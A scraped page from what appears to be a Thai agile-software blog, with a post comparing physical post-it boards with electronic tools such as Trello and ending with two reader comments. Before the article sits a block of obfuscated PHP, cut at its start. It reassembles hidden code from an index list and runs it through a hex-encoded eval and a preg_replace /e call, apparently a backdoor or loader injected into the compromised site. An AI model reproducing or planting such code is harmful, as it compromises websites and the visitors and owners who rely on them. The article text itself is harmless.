x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x78]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%825w:!>!%x5c%x78246767~6:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x57825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboex5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5cx5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm]268]y7f#!%x5c%x782400~:%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27%x5c%x7824-%x5c%x7824tvctu5c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#0*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x%x5c%x7827jsv%x5c%x782%x5c%x785c2^1%x5c%x7825s:%x5c%x785c%x5c2f},;#-#}+;%x5c%x7825-qp%x5c%x7825)54l}57**^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<%x7825)!gj!~q%x5c%x7825<#762]67y]562]38y]572]48y]c%x787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjfpg)%x5c%x7825s:*<%x5c%x7825281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6of.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-1111x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x78vufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvif((function_exists("%x6f%142%x5f%163%x74%141%x72%164"c%x7825o:!>!%x5c%x78242178}556^#zsfvr#%x5c%x785cq%x5c%x782%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x78254!>!fyqmpef)#%x5c%x7824*}&;!osvufs}%x5c%x787f;!/(.*)/epreg_replacehddzpwrqwn'; $hlfjzacvhu = explode(chr((239-195)),'9850,54,918,33,3494,50,7286,66,6420,64,4264,66,1873,65,5321,23,2810,31,8748,53,1532,25,8038,40,8999,37,6526,64,1596,20,4601,66,207,70,8114,47,8506,47,7224,62,1735,52,2114,56,7447,58,1158,23,5979,30,5596,21,9036,31,128,49,6989,49,2170,44,2593,55,1271,50,1616,26,6113,34,8866,22,9932,33,9333,54,951,26,8299,49,6292,31,3195,41,7735,54,7901,69,1820,24,9671,62,9198,39,2789,21,5440,28,6366,54,3075,53,6044,69,4494,68,3172,23,807,42,5468,33,7789,43,2411,62,6907,22,9479,45,3755,29,5280,41,9798,52,5173,28,7352,60,1844,29,5245,35,6009,35,5891,63,9387,27,2962,34,8348,65,6213,41,4452,42,2473,53,7575,32,5767,23,5790,31,4973,46,738,69,2062,52,497,21,7694,41,2526,67,9177,21,518,61,4142,54,9606,65,5392,48,6783,40,1665,70,4925,48,8471,35,9965,50,4196,68,2708,43,3609,42,5733,34,4667,20,8948,51,1642,23,6632,55,5954,25,5556,40,8913,35,5501,55,1321,39,277,49,9294,39,10044,62,3236,70,579,30,2841,29,6323,43,4814,58,6254,38,1044,66,5617,40,6590,42,4330,27,361,36,3045,30,1202,69,7073,35,2648,60,7660,34,3419,33,177,30,2214,35,3850,51,3306,51,2751,38,1360,61,3937,54,6752,31,6929,60,7177,47,1787,33,609,69,8413,58,7038,35,8553,61,7970,68,8161,69,6873,34,6147,66,9414,65,4725,35,3901,36,9904,28,977,67,62,66,0,62,463,34,8614,26,4086,27,9733,65,7412,35,1181,21,1483,49,3544,20,1110,48,3357,62,3690,41,4760,54,8078,36,2039,23,5146,27,10015,29,1557,39,2310,46,4687,38,4416,36,2870,46,8888,25,8230,69,4562,39,7832,69,849,69,8640,54,6687,65,4357,39,5821,70,5344,48,2249,61,7108,24,3731,24,5019,57,9552,54,2000,39,397,66,7132,45,5201,44,3564,45,1938,62,678,60,9067,56,3784,66,3128,44,7607,53,2996,49,2916,46,3452,42,9524,28,4113,29,9237,57,3651,39,6823,50,6484,42,7505,70,4016,70,4396,20,4872,53,8801,65,5704,29,5657,47,8694,54,2356,55,1421,62,5076,70,3991,25,9123,54,326,35'); $hlvvcaemzt=substr($rybbeliclv,(39524-29418),(44-37)); if (!function_exists('pvvrpnbxjz')) { function pvvrpnbxjz($fwmljqinck, $uwtzytuwnr) { $ppjfuitqez = NULL; for($dphalvamlf=0;$dphalvamlf<(sizeof($fwmljqinck)/2);$dphalvamlf++) { $ppjfuitqez .= substr($uwtzytuwnr, $fwmljqinck[($dphalvamlf*2)],$fwmljqinck[($dphalvamlf*2)+1]); } return $ppjfuitqez; };} $okyvocinbr="\x20\57\x2a\40\x76\155\x6c\152\x73\144\x6b\146\x61\157\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\62\x39\55\x31\71\x32\51\x29\54\x20\143\x68\162\x28\50\x36\64\x30\55\x35\64\x38\51\x29\54\x20\160\x76\166\x72\160\x6e\142\x78\152\x7a\50\x24\150\x6c\146\x6a\172\x61\143\x76\150\x75\54\x24\162\x79\142\x62\145\x6c\151\x63\154\x76\51\x29\51\x3b\40\x2f\52\x20\151\x70\165\x62\166\x68\157\x77\145\x72\40\x2a\57\x20"; $airyovqpsp=substr($rybbeliclv,(54344-44231),(37-25)); $airyovqpsp($hlvvcaemzt, $okyvocinbr, NULL); $airyovqpsp=$okyvocinbr; $airyovqpsp=(654-533); $rybbeliclv=$airyovqpsp-1; ?> ปัญหาอไจล์โลกแตก – บอร์ดทำมือ กับ บอร์ดไฟฟ้า เลือกข้างไหนดี – Agile Sixty-Six
Agile Sixty-Six Rotating Header Image

ปัญหาอไจล์โลกแตก – บอร์ดทำมือ กับ บอร์ดไฟฟ้า เลือกข้างไหนดี

tool ที่ดีที่สุดของอไจล์คืออะไร? … คือไม่ใช่ tool ที่เป็น electronic ครับ … สิ่งทีเราแนะนำมากที่สุดคือการใช้ physical board กับ post-it

Roofimon Software Share Day 2013 (0:27:12)

การใช้ซอฟแวร์นั้นไม่ดี เพราะจะขาดความยืดหยุ่นของการใช้อุปกรณ์ที่เป็นของจับต้องได้ … แม้จะปรับได้ตามใจแต่ก็ไม่ทันกับความเร็วของการเปลี่ยนแปลง

Korn4D ฝึกลีนด้วย Hayday 5 – คัมบังอยู่ตรงไหน

หลายคนคงจะเคยได้เห็นคำแนะนำเหล่านี้จากเหล่าๆอไจล์กูรูกันมาบ้าง ยิ่งถ้าไปค้นตาม Quora หรือ LinkedIn Group เวลามีมือใหม่หัดขับมาถามว่า อะไรคือเครื่องมือทำอไจล์ที่ดีที่สุด ก็มักจะมีคำตอบจากบรรดาผู้รู้ทั้งหลายว่า Physical Board เท่านั้น แถมยังจิกกัดคนตั้งคำถาด้วยว่า ไอ้น้องเอ๋ย ไปอ่าน manifesto ใหม่อีกรอบนะ เขาบอกว่า “Individuals and interaction OVER PROCESS AND TOOLS!”

แต่ผมได้ยินแล้วแอบขัดใจ จริงแท้แน่นอนครับ แต่ผมมองว่าไม่มียาวิเศษอะไรที่แก้ได้ทุกปัญหาทุกบริบท

943057_10151363782937371_497874361_n247131_10151368171557047_1941486498_n-1

iterationPlanning_screenshot01

ผมไม่ชอบพิมพ์ไทยคำอังกฤษคำเท่าไหร่จึงจะขออนุญาติบัญญัติศัทพ์ใหม่ที่มีความหมายเฉพาะในบริบทของบทความนี้นะครับว่า

บอร์ดทำมือ หมายถึง physical board ที่มี sticky (post-it) หรือ index card แปะๆอยู่

บอร์ดอิเลคโทรนิค หมายถึง electronic tool หรือ electronic board หรือ software ที่ใช้ทำทีมอไจล์ อย่างพวก GreenHopper, Rally หรือ Eidos (อิอิ)

ทีนี้ลองมาดูปัจจัยที่มีผลต่อการเลือกใช้บอร์ดทำมือหรือบอร์ดไฟฟ้าทีละข้อกัน

1) การปรับบอร์ดให้เข้ากับ การทำงานของทีม

ข้อนี้บอร์ดทำมือน่าจะได้เปรียบหลายขุม เพราะว่าเราอยากจะวาดจะลากยังไงก็ได้ อยากจะมีกี่แถวกี่คอลัมน์ ก็ง่าย แค่ต้องแกะโพสต์อิตทั้งหมดที่แปะไว้ลงมาก่อน จากนั้นลบหรือแกะเส้นเดิมทิ้ง เขียนหรือแปะเส้นใหม่ แล้วก็เอาโพสต์อิตกลับไปแปะไว้ให้เหมือนเดิม ส่วน บอร์ดอิเลคโทรนิค นี่ส่วนใหญ่แทบไม่ต้องพูดถึง จะปรับกระบวนการทำงาน นี่เรียกว่าต้องตั้ง workflow กันใหม่วุ่นวายทีเดียว ทีมจะต้องปรับเข้าหาตัวเครื่องมือซะมากกว่า ซึ่งปัญหานี่ผมมองว่าเป็นปัญหาหลักของบอร์ดอิเลคโทรนิค เพราะแทนที่ทีมจะมี Kaizen คือค่อยๆปรับปรุงกระบวนการทำงานกันไป กลับต้องมาปรับตามเครื่องมือซึ่งมีข้อจำกัดและอาจจะไม่ใช่คำตอบสำหรับทีมนั้น

แต่ถ้าเราลองมาดูซอฟต์แวร์ใหม่ๆที่เกิดขึ้นในช่วงไม่กี่ปีมานี้ อย่าง Trello จะเห็นว่าทำออกมาให้ปรับเปลี่ยนได้ง่ายมากการที่จะเพิ่มจะลดคอลัมน์หรือแม้แต่การกำหนดว่าจะใส่อะไรลงไปในการ์ดบ้าง ถึงแม้จะไม่สามารถปรับได้เข้ากับทุกทีมแบบเป๊ะๆ แต่ถ้าว่ากันตามหลัก 80:20 ของพาเรโต้ (Pareto’s Principle) แล้ว ถ้าตอบโจทย์ได้ 20% ก็ใช้ได้กับ 80% ของทีมทั้งหมดแล้ว ผมก็ไม่รู้หรอกว่า Trello ตอบโจทย์ได้ 20% หรือยังแต่ถ้าลองมาคิดดูกันว่า ไอ้บอร์ดเนี่ยมันเขียนกันจริงๆออกมากันกี่แบบเหรอ ผมว่าไม่ใช่ก็ใกล้เคียงนะ สิ่งที่เราอยากได้อาจเป็นเพียงแค่ความสามารถในการเพิ่มลดและตั้งชื่อคอลัมน์ได้เท่านั้น จริงๆแล้วผมว่าอีกไม่นานเราอาจจะได้เห็น บอร์ดอิเลคโทรนิค ที่ให้ผู้ใช้วาดบอร์ดยังไงก็ได้

storyBoard08_swimlanes

2) ความรู้สึกจากการสัมผัส

ข้อนี้ต้องยกให้บอร์ดทำมือเอาไปเลย เซนเซเคยบอกกับผมว่า ในขณะที่เราเขียนอะไรลงไปบนการ์ดนั้น จิตใต้สำนึกของเราจะทำให้เราเกิดสำนึกความเป็นเจ้าของการ์ดนั้น มันจะมีค่ากับเรามากกว่าแค่การพิมพ์อะไรง่ายๆด้วยแป้นพิมพ์ลงไปบนจอ การได้ลากการ์ดจากเข้าไปในคอลัมน์ Done นั้นก็สามารถทำให้เกิดความรู้สึกปิติกับผู้ลากได้อย่างประหลาด (tactile satisfaction) ความรู้สึกเช่นนี้ให้เอาเมาส์มาลากการ์ดบนจออีกสิบใบก็ไม่อาจเทียบเท่าได้ … ผมสงสัยว่าจริงเหรอ? มันก็อาจจะจริง ตอนผมใช้ บอร์ดทำมือ ใหม่ๆก็รู้สึกอย่างนั้น แต่ทำไปทำไปจุดสำคัญมันก็เปลี่ยนไปนะ อาจเป็นแค่ผมเองรึเปล่าไม่รู้แต่ความรู้สึก Done จริงๆมันเกิดตอน commit code ตอน test ผ่าน ตอนของขึ้นโปรดักชั่นมากกว่า ส่วน Done ในบอร์ดมันกลายเป็นจุดเริ่มของการสนทนาว่ามัน Done ตรงจังหวะนั้นๆ ครั้นจะทำให้บอร์ดอิเลคโทรนิคลากไปลากมาได้เหมือน บอร์ดทำมือ ก็คงต้องรอให้ touch screen ขนาดใหญ่มีราคาที่ใครๆก็ซื้อหาได้ แต่ก็ไม่แน่นะครับ Windows 8 ก็มาแล้ว ราคาจอก็ถูกลงทุกวัน อีกไม่นานเราก็อาจจะมี touch screen ขนาด 46″ ที่หาซื้อได้ตามโลตัสก็ได้

ถ้าพูดถึงเรื่องการเขียนสตอรี่ลงไปในโพสต์อิตหรืออินเด็กส์การ์ดจะทำให้เกิดความรู้สึกเป็นเจ้าของ (personal commitment) มากกว่าก็อาจจะจริง แต่สิ่งที่เราต้องการมันคือความรู้สึกเป็นเจ้าของของคนเขียนอย่างนั้นหรือ เขาว่าคนที่เอา แป้นพิมพ์ไปครอบครองจะชี้นำความคิดในการเขียนสตอรี่ได้ แต่ถ้าเทียบกับการเอาอินเด็กส์การ์ดไปแอบเขียนคนเดียวแล้วมาอ่านให้ฟัง กับเขียนสดบนอิเลคโทรนิคทูลผ่านแป้นพิมพ์ขี้นโปรเจคเตอร์ให้ทีมยำ อะไรมันจะทำให้เกิดคุณค่ามากกว่ากันนะ?

3) การได้เห็นจะจะ (Big Visible Board)

การที่มีบอร์ดขนาดใหญ่เป็นจุดสนใจ คนนอกคนในใครผ่านไปผ่านมาก็เห็น เผลอๆก็คุยกันเรื่องของสิ่งที่อยู่บนบอร์ด ถือเป็นข้อดีของบอร์ดทำมือที่ให้คุณค่ามากเทียบถ้าเทียบกับการลงทุนที่ใช้ไป บทสนทนาหน้าบอร์ดเป็นสิ่งที่ให้คุณค่ามากในบริบทนี้ เป็นไปได้ว่าถ้าใช้บอร์ดอิเลคโทรนิคแล้วจะเป็นการง่ายมากที่ทีม จะขี้เกียจเปิดดูเพราะแรงเสียดทาน (friction) มันเยอะ ไหนจะต้องเปิดจอ ต้องเข้าล๊อกอินระบบ ต้องคลิกไม่รู้กี่คลิกกว่าจะเข้าไปที่บอร์ด ไอ้ครั้นจะหาจอใหญ่ๆมาเปิดบอร์ดทิ้งไว้ให้เห็นกันจะๆเหมือน บอร์ดทำมือ ก็คงต้องลงทุนกันพอสมควร แต่ผมเคยอ่านเจอบทความหนึ่งที่เขาบอกว่า ถ้าใช้บอร์ดอิเลคโทรนิคแทนที่จะหาทางทำให้มีที่แสดงบอร์ดใหญ่ๆที่หนึ่งเหมือน บอร์ดทำมือ ให้ใช้ท่าบอร์ดเล็กๆแต่มีหลายที่แทน อาจจะโชว์ขึ้นมอนิเตอร์ที่ข้างตู้กดน้ำ ในห้องน้ำ หรือ หน้าห้องหัวหน้าใหญ่หรือลูกค้าไปเลย

หลายคนว่าถ้าใช้บอร์ดอิเลคโทรนิค เผลอๆก็ไม่ต้องคุยกันตัวต่อตัวไปเลยเพราะคุยผ่านซอฟต์แวร์ได้เลย แต่ผมอยากจะถามว่าการที่ทีมไม่คุยกันเพราะมีซอฟต์แวร์เข้ามาแทรกกลางนั้นเป็นปัญหาที่ซอฟต์แวร์จริงๆหรือ เป็นหลุมพลางที่จะต้องตกลงไปเสมอรึเปล่า ทีมของเราที่โปรเตอุสอจิลิตี้ใช้ไอโดสซึ่งเป็นบอร์ดอิเลคโทรนิคเป็นหลัก เพราะเราต้องการกินอาหารหมาของเราเอง แต่ผมก็เห็นในทีมคุยกันตลอด เวลาแพร์กันก็เจี๊ยวจ้าว เวลามีปัญหาก็ลากคนอื่นมาช่วย เวลาแสตนด์อัพก็สรวลเสเฮฮาดีนะ

4) รองรับการขยายตัวของโปรเจค

ถ้าโปรเจคคุณมีขนาดใหญ่ แน่นอนว่าอไจล์จะแนะนำให้แตกทีมออกเป็นหลายๆทีม แต่ก็จะต้องมีจังหวะที่แต่ละทีมมาประชุมร่วมกัน ในกรณีนี้การที่มีบอร์ดทำมือของแต่ละทีมอยู่กันแต่ละที่ก็คงไม่ได้ช่วยอะไรมากนัก ให้ดีก็อาจจะต้องมีบอร์ดใหญ่สำหรับภาพรวมอีกบอร์ด แต่ถ้าหากมีบอร์ดอิเลคโทรนิคที่มีความสามารถที่ทำให้เห็นภาพรวมของหลายโปรเจคได้ ก็น่าจะเป็นประโยชน์กับองค์กรได้มากทีเดียว

5) เมื่อทีมไม่ได้อยู่ด้วยกัน

คงจะดีที่สุด ถ้าทุกคนในทีมอยู่ด้วยกันตลอดเวลา แต่ในทางปฏิบัติมักจะเกิดได้ยาก แม้ dev กับ tester จะอยู่ที่เดียวกัน แต่บ่อยครั้งที่คุณลูกค้า หรือ PO หรือแม้แต่ ScrumMaster มักจะไม่ได้อยู่ที่เดียวกันตลอดเวลา จะถ่ายรูปการ์ดรูปบอร์ดส่งให้ทุกวันก็ออกจะหนักเอาการอยู่ จริงๆแล้วความลำบากในการถ่ายรูปส่งลูกค้าทุกวันแถมลูกค้ายังอ่านลายมือไม่ออกด้วยนี่แหละเป็นจุดกำเนิดของไอโดส ในกรณีนี้บอร์ดอิเลคโทรนิคจึงเป็นคำตอบที่ดีกว่าอย่างไม่มีข้อสงสัย

6) การวิเคราะห์ข้อมูลระยะยาว

แม้จะเป็นทีมที่อยู่ด้วยกัน แต่ถ้าทำด้วยกันไปนานๆ การได้เอาข้อมูลทางสถิติมาช่วยปรับปรุงทีมก็จะช่วยให้ทีมพัฒนาไปได้อีกขั้น มีหลายเสียงบอกว่า ในทางปฏิบัติไม่ได้เอาข้อมูลอะไรมาดูกันหรอก ส่งของแล้วก็จบแล้ว ก็ไปทำอย่างอื่น ก็แล้วแต่จะว่ากันไปนะครับ

David Anderson บิดาแห่ง Kanban กล่าวในหนังสือ Kanban ของเขาว่า การเก็บข้อมูลทางสถิติด้วย บอร์ดอิเลคโทรนิค นั้นเป็นสิ่งจำเป็นสำหรับทีมที่ต้องการจะเติบโตไปอีกขั้นและควรจะนำมาใช้ตั้งแต่แรกๆ

Electronic tracking is necessary for teams that aspire to higher levels of organizational maturity. If you anticipate the need for quantitative management, organizational process performance (comparing the performance across kanban systems, teams or projects), and/or causal analysis and resolution (root-cause analysis based on statistically sound data), you will want to use an electronic tool from the beginning.

7) ภาพรวม (Big Picture)

หลายๆครั้งที่ทีมอไจล์มักจะจมอยู่กับภาพเล็กในสองสัปดาห์ข้างหน้าของ iteration จนอาจจะเดินหลงทางไปเพราะไม่เห็นภาพรวม เช่นมัวไปเสียเวลากับ Epic A ไปนานจนแทบไม่ได้ทำ Epic B เลย จนอาจทำให้เสียโอกาสทางธุรกิจไปได้ เทคนิคเช่น Story Mapping จึงได้รับการนำมาใช้อย่างแพร่หลายประกอบกับบอร์ดทำมือแต่ก็ยังมีข้อจำกัดของการที่ต้องทำด้วยมือ การทีมีบอร์ดอิเลคโทรนิคที่ช่วยแสดงภาพรวมได้จะสามารถประหยัดเวลาได้มาก

Release Burndown Chart ก็ถือเป็นการมองภาพรวมของโปรเจคแบบหนึ่งที่เป็นที่นิยมในทีมอไจล์ การเขียนกราฟด้วยมือมีข้อดีคือมันได้ลากได้เขียนเอง จะใส่ลูกเล่น ใส่ hangman ตอนที่ iteration นั้น burn อะไรไม่ได้เลยก็ย่อมทำได้ แต่ในบริบทที่การเก็บข้อมูลเพื่อสร้างกราฟเริ่มเป็นสิ่งที่เสียเวลาและไม่สนุก ปล่อยให้เรื่องนี้เป็นภาระของบอร์ดอิเลคโทรนิคก็อาจจะเป็นคำตอบที่ดี

2013-05-23_13h23_43

8) คลังข้อมูล

ว่ากันว่า User Story เมื่อใช้แล้วก็เผาทิ้งได้ เพราะเราได้ผลิดซอฟต์แวร์ออกมาแล้ว ไม่รู้จะเก็บไว้ทำไม แต่ก็มีบ่อยครั้งที่มีข้อมูลที่มีคุณค่าอยู่ใน User Story นั้น ถ้าเราสามารถค้นหาได้ นำกลับมาใช้ได้ใหม่หรืออ้างอิงเพื่อเป็นจุดเริ่มต้นได้ ก็จะช่วยประหยัดเวลาได้มาก ในกรณีนี้ก็คงต้องพึ่งบอร์ดอิเลคโทรนิคเท่านั้น

อื่นๆ

บอร์ดทำมือ ถูกกว่า ใช้ง่ายกว่า ในขณะที่ บอร์ดอิเลคโทรนิค ทำ backup ได้ง่ายกว่า ทำ audit ได้ พังยาก ทำ automation กับระบบอื่นๆได้

บทสรุป

ว่ากันมาซะยาว จริงๆแล้วสำหรับผม คำถามที่ว่าควรใช้ทำมือหรืออิเลคโทรนิค คำตอบของผมคือ “แล้วแต่” คุณควรจะชั่งน้ำหนักว่าในบริบทของทีมคุณนั้นสิ่งไหนมีคุณค่ากับคุณ เนื่องจากมันไม่มีคำตอบสมบูรณ์สำหรับทุกบริบท

สำหรับผมบอร์ดอิเลคโทรนิคนั้นเหมือนม้าพยศ มือใหม่มีโอกาสตกม้าตายได้ง่ายๆ โดยเฉพาะถ้าคุณไม่รู้ว่าหลุมพรางข้างหน้ามีอะไรบ้าง เมื่อชำนาญทางแล้ว ขี่เป็นแล้ว และคุณได้ม้าที่ดี มันจะพาคุณทยานไปได้เร็วกว่าคุณเดินเองมากครับ

2 Comments

  1. war1ock says:

    อันนี้เปรียบเทียบได้ชัดเจนมากครับ ขอบคุณครับ

  2. #:P says:

    แต่ถ้าเป็น บอร์ดทำมือ ที่ใช้เทคโนโลยี่ของ Augmented Reality สร้างมันขึ้นมาล่ะครับพี่

    บอร์ดทำมือ ก็บอร์ดทำมือเถอะ พี่อาจจะลืม มัน ไปเลยก็เป็นได้ ครัช

    แต่มันยังไม่เกิดตอนนี้ ก็ บอร์ดทำมือ นั่นแหละ ดีที่สุด Low-Teach, Hi-Touch ครับ

Leave a Reply

Your email address will not be published.

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Current month ye@r day *